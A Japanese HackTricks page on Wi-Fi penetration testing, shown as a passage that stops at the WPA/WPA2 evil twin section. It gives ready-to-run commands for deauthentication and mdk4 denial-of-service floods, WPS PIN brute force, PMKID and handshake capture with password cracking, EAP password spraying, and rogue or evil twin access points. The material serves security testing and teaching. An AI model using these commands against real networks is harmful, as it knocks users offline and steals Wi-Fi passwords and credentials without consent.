hacktricks/generic-methodologies-and-resources/pentesting-wifi
2023-12-30 22:56:27 +00:00
..
evil-twin-eap-tls.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-12-30 22:56:27 +00:00

Wifiペネトレーションテスト

AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、速いペースのハッキングの世界に追いつく

最新のアナウンスメント
新しいバグバウンティの開始と重要なプラットフォームの更新情報に常に通じている

Discordに参加して、今日からトップハッカーと協力し始めましょう!

Wifi基本コマンド

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

ツール

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Dockerを使用してairgeddonを実行する

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Evil Twin、KARMA、Known Beacons攻撃を実行し、フィッシングテンプレートを使用して、ネットワークの実際のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

このツールは、WPS/WEP/WPA-PSK 攻撃を自動化します。以下の作業を自動的に行います:

  • インターフェースをモニターモードに設定
  • 可能なネットワークをスキャン - 被害者を選択させる
  • WEPの場合 - WEP攻撃を開始
  • WPA-PSKの場合
  • WPSの場合Pixie dust攻撃とbruteforce攻撃bruteforce攻撃は時間がかかる可能性があるので注意。null PINやデータベース/生成されたPINを試さないことに注意。
  • APからPMKIDをキャプチャしてクラックを試みる
  • APのクライアントをdeauthenticateしてハンドシェイクをキャプチャする
  • PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してbruteforceを試みる。

攻撃の概要

  • DoS
  • Deauthentication/disassociation -- 全員または特定のESSID/クライアント)を切断
  • ランダムな偽AP -- ネットを隠し、スキャナーをクラッシュさせる可能性
  • APを過負荷 -- APを停止させようとする通常あまり役に立たない
  • WIDS -- IDSで遊ぶ
  • TKIP, EAPOL -- 一部のAPをDoSする特定の攻撃
  • Cracking
  • WEP をクラック(複数のツールと方法)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID bruteforce
  • [DoS +] WPA handshake キャプチャ + クラッキング
  • WPA-MGT
  • ユーザー名キャプチャ
  • Bruteforce 認証情報
  • Evil Twin (DoSありまたはなし)
  • Open Evil Twin [+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ
  • WPA-PSK Evil Twin -- パスワードを知っている場合、ネットワーク攻撃に役立つ
  • WPA-MGT -- 企業の認証情報をキャプチャするのに役立つ
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに役立つ
  • + WPA -- WPAハンドシェイクをキャプチャするのに役立つ

DOS

Deauthenticationパケット

この種の攻撃が行われる最も一般的な方法は、deauthentication パケットを使用することです。これらは、デバイスをアクセスポイントから切断するための「管理」フレームの一種です。これらのパケットを偽造することが、多くのWi-Fiネットワークをハッキングする鍵となります。任意のクライアントをいつでもネットワークから強制的に切断することができます。これがどれほど簡単に行えるかは少し恐ろしいものであり、通常はクラッキングのためのWPAハンドシェイクを収集する一環として行われます。

クラックするためのハンドシェイクを収穫するために一時的にこの切断を利用することはできますが、それらのdeauthを続けることもできます。これにより、クライアントには接続しているネットワークからのdeauthパケットが連続して送られているように見えます。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを偽造してネットワーク上の一つまたは全てのデバイスに送信することを利用しています。
説明は こちらから。

Aireplay-ngを使用したDeauthentication

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0はデオーセンティケーションを意味します
  • 1は送信するデオーセンティケーションの数です複数送信することも可能です0は連続して送信することを意味します
  • -a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです
  • -c 00:0F:B5:34:30:30はデオーセンティケートするクライアントのMACアドレスですこれが省略された場合はブロードキャストデオーセンティケーションが送信されます常に機能するわけではありません
  • ath0はインターフェース名です

ディソシエーションパケット

ディソシエーションパケットは、近くのアクセスポイントからノード(ラップトップや携帯電話のようなデバイスを意味します)を切断するために使用される別のタイプの管理フレームです。デオーセンティケーションフレームとディソシエーションフレームの違いは、主に使用方法にあります。

不正なデバイスを切断したいAPは、デバイスがネットワークから切断されたことを通知するためにデオーセンティケーションパケットを送信しますが、APが電源を切る、再起動する、またはエリアを離れるときにはディソシエーションパケットが使用されます。

説明はこちらから。

この攻撃はmdk4モード"d")によって実行できます:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

mdk4によるさらなるDOS攻撃

**こちらから。

攻撃モードb: ビーコンフラッディング

クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ATTACK MODE a: 認証サービス拒否

範囲内にあるすべてのAPに認証フレームを送信します。クライアントが多すぎると、いくつかのAPがフリーズしたりリセットされたりすることがあります。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻撃モード p: SSID プロービングとブルートフォース

APをプローブし、応答を確認します。SSIDが正しくデクロークされているか、APが送信範囲内にあるかを確認するのに役立ちます。隠されたSSIDのブルートフォースも、ワードリストの有無にかかわらず利用可能です。

攻撃モード m: Michael 対策の悪用

ランダムパケットを送信するか、別のQoSキューに重複を再注入して、TKIP AP上でMichael 対策を誘発します。その結果、APは1分間シャットダウンし、これは効果的なDoSとなります。

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start および Logoff パケットインジェクション

APをEAPOL Start フレームで氾濫させ、偽のセッションで忙しくさせ、正当なクライアントの処理を不可能にします。または、偽の EAPOL Logoff メッセージ注入してクライアントをログオフさせます。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s: IEEE 802.11s メッシュネットワークへの攻撃

メッシュネットワーク内のリンク管理とルーティングに対する様々な攻撃。隣接ノードやルートを氾濫させ、ブラックホールを作成し、トラフィックを迂回させる!

ATTACK MODE w: WIDS混乱

侵入検知・防御システムを混乱させる/悪用する。クライアントを複数のWDSードや偽のrogue APにクロス接続する。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ATTACK MODE f: Packet Fuzzer

パケットファジングのシンプルなツールで、複数のパケットソースと便利なセットのモディファイアがあります。注意して使用してください!

Airgeddon

Airgeddon は、前述のコメントで提案されたほとんどの攻撃を提供します:

WPS

WPSはWi-Fi Protected Setupの略です。これは、ルーターと無線デバイス間の接続をより速く簡単にすることを目的とした無線ネットワークセキュリティ標準です。WPSは、WPA PersonalまたはWPA2** Personalセキュリティプロトコルで暗号化されたパスワードを使用する無線ネットワークでのみ機能します。WPSは、簡単にクラックできる古いWEPセキュリティを使用する無線ネットワークでは機能しません。こちらから)

WPSは8桁のPINを使用してユーザーがネットワークに接続できるようにしますが、最初に最初の4桁がチェックされ、正しい場合に次の4桁がチェックされます。したがって、最初の半分、次に残りの半分をブルートフォースすることが可能です可能性は11000通りのみ

WPS Bruteforce

このアクションを実行するための2つの主要なツールがありますReaverとBully。

  • Reaver はWPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントとWPS実装に対してテストされています。
  • Bully はWPSブルートフォース攻撃の新しい実装で、C言語で書かれています。元のreaverコードに比べていくつかの利点があります依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。

この攻撃は、8桁のWPS PINコードの弱点を利用しています。この問題のために、プロトコルはPINの最初の4桁に関する情報を開示し、最後の桁はチェックサムとして機能するため、WPS APのブルートフォースが容易になります。
一部のデバイスにはブルートフォース保護が含まれており、通常は攻撃を繰り返し試みるMACアドレスをブロックします。その場合、この攻撃の複雑さが増し、PINをテストしながらMACアドレスをローテーションする必要があります。

WPSの有効なコードが見つかった場合、BullyとReaverの両方がそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを発見するので、必要なときにいつでも接続できます。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

スマートブルートフォース

全ての可能性のあるPINを試す前に、攻撃しているAPに対して発見されたPINメーカーのMACに依存するPINソフトウェアによって生成されたPINが利用可能かどうかを確認すべきです。

  • 既知のPINのデータベースは、同じWPS PINを使用することが知られている特定のメーカーのアクセスポイント用に作られています。このデータベースにはMACアドレスの最初の3オクテットと、そのメーカーにとって非常に可能性の高い対応するPINのリストが含まれています。
  • WPS PINを生成するためのいくつかのアルゴリズムがあります。例えば、ComputePINとEasyBoxはアクセスポイントのMACアドレスを計算に使用します。しかし、ArcadyanアルゴリズムにはデバイスIDも必要です。

WPS Pixie Dust 攻撃

Dominique Bongardは、いくつかのAPが秘密であるべきnoncesE-S1およびE-S2として知られているを生成する弱い方法を持っていることを発見しました。これらのnoncesが何であるかを解明できれば、APがPINをハッシュで提供しなければならないため、APのWPS PINを簡単に見つけることができます。これは、APがPINを知っていることを証明し、クライアントが悪質なAPに接続していないことを示すためです。これらのE-S1とE-S2は、基本的にWPS PINを含む「ロックボックスを解除する鍵」です。詳細はこちら: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

基本的に、いくつかの実装では、認証通信中に2つの部分に分解され、クライアントに送信されるPINの2つの部分を暗号化するためのランダムキーの使用に失敗しているため、オフライン攻撃を使用して有効なPINをブルートフォースできました。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Null Pin 攻撃

一部の非常に悪い実装では、Null PINを使用して接続を許可していました非常に奇妙です。ReaverはこれをテストできますBullyはできません

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

提案されたすべてのWPS攻撃は、_airgeddon_を使用して簡単に実行できます。

  • 5と6はカスタムPINを試すことができます(もしあれば)
  • 7と8はPixie Dust攻撃を実行します
  • 13はNULL PINをテストすることができます
  • 11と12は選択したAPに関連するPINを利用可能なデータベースから収集し、ComputePIN、EasyBox、オプションでArcadyanを使用して可能なPIN生成します(推奨、なぜ試さないの?)
  • 9と10はすべての可能なPINをテストします

WEP

あまりにも壊れていて消え去ったので、ここでは触れません。ただ、_airgeddon_にはこの種の保護を攻撃するための"All-in-One"というWEPオプションがあることを知っておいてください。他のツールも同様のオプションを提供しています。

HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ

最新のアナウンスメント
新しく開始されるバグバウンティや重要なプラットフォームの更新情報を入手して最新の情報を得る

Discordに参加して、今日からトップハッカーと協力しましょう!

WPA/WPA2 PSK

PMKID

2018年にhashcatの作者は、たった一つのパケットに依存するだけでなく、ターゲットAPにクライアントが接続されている必要がなく、攻撃者とAPの間の通信だけで済む新しいタイプの攻撃を公開しました。

多くの現代のルーターは、誰かが関連付けを行っているときにAP自体によって送信される最初のEAPOLフレームの最後にオプショナルフィールドを追加することがわかりました。これはRobust Security Networkと呼ばれ、PMKIDと呼ばれるものを含んでいます。

元の投稿で説明されているように、PMKIDは私たちが知っているデータを使用して導出されます:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

**「PMK Name」という文字列が一定であるため、APとステーションのBSSIDを知っており、PMKは完全な4ウェイハンドシェイクから得られたものと同じであることがわかります。**これは、hashcatがPSKをクラックし、パスフレーズを回復するために必要なすべてです
説明はこちらから取得しました。

この情報を収集し、パスワードをローカルでブルートフォースするには:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

キャプチャされたPMKIDコンソール に表示され、_/tmp/attack.pcap_ 内にも保存されます。
次に、キャプチャを hashcat/john 形式に変換してクラックします:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

正しいハッシュの形式には4つの部分が含まれていることに注意してください。例えば: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__もし3つの部分のみを含む場合、それは無効ですPMKIDキャプチャが有効ではありませんでした

hcxdumptoolハンドシェイクもキャプチャすることに注意してください(以下のようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091)。ハンドシェイクhashcat/john形式に変換するには、cap2hccapxを使用できます。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

このツールでキャプチャしたいくつかのハンドシェイクは、正しいパスワードを知っていてもクラックできないことがありました。可能であれば、従来の方法でもハンドシェイクをキャプチャすることをお勧めしますし、このツールを使用して複数のハンドシェイクをキャプチャすることもお勧めします。

ハンドシェイクキャプチャ

WPA/WPA2 ネットワークを攻撃する方法の一つは、ハンドシェイクをキャプチャして、使用されているパスワードをオフラインクラックすることです。これを行うには、被害者ネットワークの BSSIDチャンネル、そしてネットワークに接続しているクライアントを見つける必要があります。
その情報を手に入れたら、そのBSSIDのそのチャンネルでのすべての通信を監視し始める必要があります。なぜなら、ハンドシェイクはそこで送信されることを期待しているからです:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

クライアントを数秒間ディオーセンティケートする必要があります。そうすると、クライアントは自動的にAPに再認証しますクライアントをディオーセンティケートするいくつかの方法を見つけるために、DoSの部分を読んでください

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work

クライアントが認証解除されたため、異なるAPや、場合によっては異なるネットワークに接続しようとする可能性があります。

airodump-ng にハンドシェイク情報が表示されたら、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:

ハンドシェイクがキャプチャされたら、aircrack-ngクラックできます:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

ファイル内のハンドシェイクを確認する

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

このツールは完了していないESSIDのハンドシェイクを完了したものより先に見つけた場合、有効なものを検出しません。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

企業Wifiが使用可能な異なる認証方法について説明することが重要です。この種のWifiでは、airodump-ngで次のようなものが見つかるでしょう:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP(拡張認証プロトコル)は、認証通信の骨格であり、その上で、サーバーがクライアントサプリカント)を認証するために使用する認証アルゴリズムがあり、場合によってはクライアントがサーバーを認証するためにも使用されます。 この場合に使用される主な認証アルゴリズム:

  • EAP-GTC EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。その実装はMSCHAPv2に似ていますが、ピアチャレンジは使用しません。代わりに、パスワードはプレーンテキストでアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
  • EAP-MD-5メッセージダイジェスト クライアントはパスワードのMD5ハッシュを送信します。推奨されません辞書攻撃に弱く、サーバー認証がなく、セッションごとの有線同等プライバシーWEPキーを生成する方法がありません。
  • EAP-TLSトランスポート層セキュリティ クライアント側とサーバー側の証明書に依存して認証を行い、その後の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成するために使用されます。
  • EAP-TTLSトンネルトランスポート層セキュリティ 暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの相互認証、およびユーザーごと、セッションごとのWEPキーを導出する手段。EAP-TLSとは異なり、EAP-TTLSはサーバー側の証明書のみを必要としますクライアントは資格情報を使用します
  • PEAP保護された拡張認証プロトコル PEAPはEAPプロトコルのようですが、通信を保護するためにTLSトンネルを作成します。その後、弱い認証プロトコルをEAPの上で使用できますが、トンネルによって保護されます。
  • PEAP-MSCHAPv2 これは一般的にPEAPとして知られています。これは、PEAPの上での脆弱なチャレンジ/レスポンスであるMSCHAPv2ですTLSトンネルによって保護されています
  • PEAP-EAP-TLSまたは単にPEAP-TLS EAP-TLSに非常に似ていますが、証明書が交換される前にTLSトンネルが作成されます。

これらの認証方法に関する詳細情報はこちらこちらで見つけることができます。

ユーザー名のキャプチャ

https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、「Identity」メッセージがサポートされる必要があり、ユーザー名は**「Response Identity」メッセージでクリア**に送信されるようです。

最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるユーザー名をキャプチャすることが可能です。これを行うには、認証通信をキャプチャします(チャネル内でairodump-ngを開始し、同じインターフェースでwiresharkを使用します)し、パケットをeapolでフィルタリングします。
Response, Identity」パケットの中に、クライアントのユーザー名が表示されます。

匿名ID

(情報はhttps://www.interlinknetworks.com/app_notes/eap-peap.htmから取られました)

EAP-PEAPとEAP-TTLSは、両方ともIDの隠蔽をサポートしています。WiFi環境では、アクセスポイントAPは通常、関連付けプロセスの一部としてEAP-Identityリクエストを生成します。匿名性を保つために、ユーザーのシステム上のEAPクライアントは、最初のホップRADIUSサーバーがリクエストを処理できるのに十分な情報のみを応答する場合があります。以下に例を示します。

  • EAP-Identity = anonymous

この例では、すべてのユーザーが擬似ユーザー名「anonymous」を共有します。最初のホップRADIUSサーバーは、PEAPまたはTTLSプロトコルのサーバー側を駆動するEAP-PEAPまたはEAP-TTLSサーバーです。その後、内部保護された認証タイプは、ローカルで処理されるか、リモートホームRADIUSサーバーにプロキシされます。

  • EAP-Identity = anonymous@realm_x

この例では、異なるレルムに属するユーザーは自分のIDを隠しますが、最初のホップRADIUSサーバーがEAP-PEAPまたはEAP-TTLSリクエストをホームレルムのRADIUSサーバーにプロキシできるように、どのレルムに属しているかを示します。これらのサーバーはPEAPまたはTTLSサーバーとして機能します。最初のホップサーバーは純粋なRADIUSリレーードとして機能します。

代わりに、最初のホップサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーにプロキシすることができます。このオプションは、異なるレルムに対して異なるポリシーを設定するために使用される場合があります。

EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを確立すると、PEAPサーバーはEAP-Identityリクエストを生成し、TLSトンネルを通じて送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、ユーザーの真のIDを含むEAP-Identityレスポンスを暗号化されたトンネルを通じて送信します。これにより、802.11トラフィックを盗聴している人がユーザーの真のIDを発見することを防ぎます。

EAP-TTLSは少し異なる方法で動作します。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。

いずれのプロトコルでも、PEAP/TTLSサーバーはTLSトンネルが確立されると、ユーザーの真のIDを学習します。真のIDは、_user@realmまたは単にuserの形式である可能性があります。PEAP/TTLSサーバーがuser_を認証している場合、それはユーザーのIDを知っており、TLSトンネルによって保護されている認証方法で認証を進めます。または、PEAP/TTLSサーバーは、新しいRADIUSリクエストをユーザーのホームRADIUSサーバーに転送する場合があります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコルが剥がされています。保護された認証方法がEAPの場合、内部EAPメッセージは、EAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。発信RADIUSメッセージのUser-Name属性には、ユーザーの真のIDが含まれています。これは、受信RADIUSリクエストの匿名User-Name属性ではありません。保護された認証方法がPAPまたはCHAPである場合TTLSのみがサポート、TLSペイロードから回復されたUser-Nameおよびその他の認証属性は、受信RADIUSリクエストに含まれている匿名User-NameおよびTTLS EAP-Message属性の代わりに、発信RADIUSメッセージに配置されます。

EAP-Bruteforceパスワードスプレー

クライアントがユーザー名とパスワードを使用することが期待されている場合(EAP-TLSはこの場合には有効ではないことに注意してください)、ユーザー名リスト(次の部分を参照)とパスワードを取得し、air-hammerを使用してアクセスをブルートフォースすることができます。

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

この攻撃は eaphammer を使用しても実行できます:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

クライアント攻撃理論

ネットワーク選択とローミング

802.11プロトコルは、ステーションがESSに参加する方法について非常に具体的なルールを定めていますが、ステーションが接続するESSを選択する方法については規定していません。さらに、プロトコルは同じESSIDを共有するアクセスポイント間でステーションが自由にローミングすることを許可しています建物の片端から他端へ歩いているときにWiFi接続を失いたくないなどの理由から。しかし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを規定していません。さらに、ステーションがアクセスポイントに関連付けるためにはESSに対して認証されている必要がありますが、802.11プロトコルはアクセスポイントがステーションに対して認証されることを要求していません。

優先ネットワークリストPNL

ステーションが無線ネットワークに接続するたびに、そのネットワークのESSIDはステーションの優先ネットワークリストPNLに保存されます。PNLは、ステーションが過去に接続したすべてのネットワークの順序付けられたリストであり、PNLの各エントリにはネットワークのESSIDと接続を確立するために必要なネットワーク固有の設定情報が含まれています。

パッシブスキャン

インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して、近くのステーションに自身の存在と能力を広告します。ビーコンはブロードキャストフレームであり、範囲内のすべての近くのステーションに受信されることを意図しています。ビーコンには、APのサポートするレート、暗号化機能、追加情報が含まれており、最も重要なこととして、ビーコンフレームにはAPのESSIDが含まれていますESSIDのブロードキャストが無効にされていない限り

パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを待ち受けます。クライアントデバイスがESSIDフィールドがクライアントのPNLにあるESSIDと一致するビーコンフレームを受信すると、クライアントはビーコンフレームを送信したアクセスポイントに自動的に接続します。次に、現在無線に接続していない無線デバイスをターゲットにしたいとします。そのクライアントのPNLに少なくとも1つのエントリを知っていれば、そのエントリのESSIDで自分のアクセスポイントを作成することによって、クライアントを自分たちに接続させることができます。

アクティブプロービング

802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングとして知られています。アクティブプロービングを使用するクライアントデバイスは、範囲内にどのAPが存在するか、およびその能力が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには、指向性とブロードキャストの2種類があります。指向性プローブリクエストは特定のESSIDに対してアドレス指定されており、クライアントが特定のネットワークが近くにあるかどうかを確認する方法です。

指向性プロービングを使用するクライアントは、PNL内の各ネットワークに対してプローブリクエストを送信します。指向性プロービングは、近くに隠されたネットワークの存在を特定する唯一の方法であることに注意する必要があります。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドをNULLに設定して送信されます。これにより、ブロードキャストプローブは近くのすべてのアクセスポイントにアドレス指定され、ステーションがPNLの内容を明らかにすることなく、優先ネットワークが近くにあるかどうかを確認することができます。

インターネットへのリダイレクトを伴うシンプルなAP

より複雑な攻撃を実行する方法を説明する前に、単にAP作成し、そのトラフィックインターネットに接続されたインターフェースにリダイレクトする方法について説明します。

ifconfig -aを使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

設定ファイル /etc/dnsmasq.conf を以下の通り作成します:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

その後、IPを設定し、ルートを設定します:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

そして、start dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

_config ファイルを作成します hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

煩わしいプロセスを停止し、モニターモードを設定し、hostapdを起動します:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

転送とリダイレクション

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

イービルツイン

イービルツイン攻撃は、ほとんどのコンピューターや携帯電話がワイヤレスネットワークの「名前」またはESSIDのみを認識し、基地局がクライアントに対して認証する必要がないという事実を利用するWi-Fi攻撃の一種です。実際には、同じ名前と同じ種類の暗号化を使用するネットワークを区別することは非常に困難です。実際、多くのネットワークには、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントがあります。

クライアントの実装方法により802.11プロトコルが同じESS内のアクセスポイント間で自由にローミングすることを許可していることを覚えておいてください、デバイスが接続している基地局を変更することが可能です。これは、より良い信号を提供すること常に可能とは限らないや、元の基地局へのアクセスをブロックすること認証解除パケット、ジャミング、またはその他の形態のDoS攻撃によって行うことができます。

また、実際のワイヤレス展開では、通常、単一のアクセスポイントよりも多くのアクセスポイントがあり、これらのアクセスポイントは、天井に向けて配置されるため、より強力で、より良い直線視界範囲を持っていることにも注意してください。単一のアクセスポイントの認証を解除しても、ターゲットがあなたの悪質なAPにローミングするのではなく、他の有効なアクセスポイントにローミングすることが通常です。ただし、近くのすべてのアクセスポイントが認証解除されている大きな音場合や、悪質なAPの配置に非常に注意している難しい場合を除きます。

インターネットへのトラフィックをルーティングする機能がない非常に基本的なオープンイービルツインを作成することができます。

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

以下は、eaphammerを使用してEvil Twinを作成する方法についての説明ですeaphammerでEvil Twinを作成する場合、インターフェースはmonitorモードであってはならないことに注意してください):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

またはAirgeddonを使用してください: オプション: 5,6,7,8,9 (Evil Twin攻撃メニュー内)。

デフォルトでは、PNLにWPA保護されたESSIDが保存されている場合、デバイスはOpenなEvil Twinに自動的に接続しません。実際のAPをDoSして、ユーザーが手動でOpenなEvil Twinに接続することを期待するか、実際のAPをDoSしてWPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法を使用すると、PSKを知らないため被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます

一部のOSとAVは、ユーザーにOpenネットワークへの接続が危険であることを警告します...

WPA/WPA2 Evil Twin

